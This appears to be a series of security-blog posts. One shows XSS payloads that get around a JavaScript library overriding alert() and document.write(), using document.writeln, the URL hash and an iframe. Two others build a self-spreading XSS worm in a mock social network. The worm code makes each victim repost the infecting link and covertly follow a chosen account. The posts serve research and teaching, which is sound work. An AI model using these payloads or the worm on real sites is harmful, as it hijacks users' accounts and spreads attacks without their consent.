Bypassing Javascript Overrides

Some time ago, a curious mitigation to XSS was presented here. By hijacking and nullifying common javascript functions used by a tester, it provides an interesting challenge for bypass.

The code below, currently online at United website (which has a bug bounty program at the time of this writing) overrides (hence the name) functions like alert(), prompt() and confirm(), in order to not let them be used by a tester. It’s included as a source of a script tag so it always loads before any injection.


Setting up a test page is straightforward:


Soon, we realize that library has to be used with some server side filtering in order to be effective at least against less skilled testers. With ability to input any XSS vector/payload, it becomes easy to figure out a bypass. But let’s consider that we are able to get the following injection reflected:

<svg onload=alert(1)>

Alert will not execute, because it does not exist anymore in this context. So let’s try another javascript code:

<svg onload=document.write(‘XSS’)>

It doesn’t work, document.write() is hijacked also. But library is forgetting to hijack its twin function, document.writeln():


With the ability to write to document, we jump to the URL hash, where code is never sent to server and won’t be noticed:

<svg onload=document.writeln(decodeURI(location.hash))>#<img src=1 onerror=alert(1)>

It works. But it would not work in the wild. Why?

When trying to bypass this lib in United website, I tried the same thing without success. That’s because the page is loaded in the same exactly way but with the injected image included:


The library is still present in the page, so it hijacks alert() before it can be executed. Another trick is needed to include in the document without get caught by lib:


By using an iframe we are able to run code without the presence of “js-override.js”, with a brand new document (the iframe’s one) included in our target page.

Kudos to @strukt93 for bringing this to my attention! More details here.


The Genesis of an XSS Worm – Part III

Be sure you have read parts I here and II here.

We start the XSSbook database population with the dataset:


There are few users with most followers, like any social network.

To make a simple demo, database was populated with just 100 users, the last of them is “brute”.


They all have the same password, “12345678”.

The application looks like this:


The home page shows the posts of those who user follows. In the screenshot above, Brute is following Angela and is able to see its latest post. His profile page shows his number of followers (currently 0) and his “about me” message. Brute’s posts are not shown because he didn’t post yet.

To start the worm spreading, the patient zero is George. He got infected by accessing a link to the search page which contains a reflected XSS:


Loaded script is here. The first 4 lines are the spreading code, which makes the victim post the link that runs the infection (the reflected XSS).

x = new XMLHttpRequest();‘POST’, ‘home.php’, true);
x.setRequestHeader(‘Content-type’, ‘application/x-www-form-urlencoded’);
x.send(‘post=</textarea><br><a href=”‘ + document.URL + ‘”>Check this!</a>’);

To make it work, it closes the current <textarea>, jump to next line and create an anchor with current URL.

In next 4 lines we create an invisible iframe.

fr = document.createElement(‘iframe’);
fr.setAttribute(‘name’, ‘myFrame’);
fr.setAttribute(‘style’, ‘display:none’);

Which will be the target of the form the worm will create (see part I).

Next, we set the form:

fo = document.createElement(‘form’);
fo.setAttribute(‘method’, ‘post’);
fo.setAttribute(‘action’, ‘profile.php?id=100’);
fo.setAttribute(‘target’, ‘myFrame’);

It will post to profile.php with id #100, which means the user “brute”. Target is the invisible iframe.

The single input element comes next:

i = document.createElement(‘input’);
i.setAttribute(‘type’, ‘hidden’);
i.setAttribute(‘name’, ‘follow’);

This hidden input is the POST ṕarameter “follow”, responsible for the follows in XSSbook. It’s appended in the form. Then:


The value of “follow” is set to “follow”.


Form is appended to document.


Form is finally submitted.

As we see, the worm makes the victim spread its code, by posting the reflected XSS attack and follow the user “brute”.

So we have a social network with 100 users, 463 connections and a working worm. What we need now is to see the infection happening across the users. For this we will make use of the Firefox add-on Selenium IDE.


This script emulates the behavior of a given user: it reads login credentials from a CSV file (exported in a random order from MySQL), types them in the respective fields and after login it clicks on the link posted by someone this user follows.

Here is the final result:


P.S. A similar work, this time in a real world scenario is here by Mohamed Baset.

The Genesis of an XSS Worm – Part II

If you missed, part I of this series is here.

In order to understand our XSS worm in action, we will first see its spreading environment, a very simple social network. XSSbook, as we will call it, is basically the product of a database with just 3 tables:


Let’s see what we have into each one.


Table “users” has the profile of users of the system, with their identification number (id), user to login (user), their name (name), password in MD5 format (pass), email (email) and a field to talk shortly about themselves (about).

Table “posts” stores their posts with date and time, using their ids in the user_id field.

Lastly, table “follows” keeps the relationship between users by means of their ids to define who is following who: in the context of application this means which posts will appear in user’s timeline.

For the interface, a set of  PHP scripts to handle the session, user input and database queries on each feature are enough to make this work.


The greatest challenge now is how to populate the database with fake data as closer as possible to a real world social network. For this, we will make use of bash scripts to generate data files to import into XSSbook. We will also try to follow the power law to reflect what happens with thousands of users connections.

In the next post we will see our XSS worm spreading across this populated database.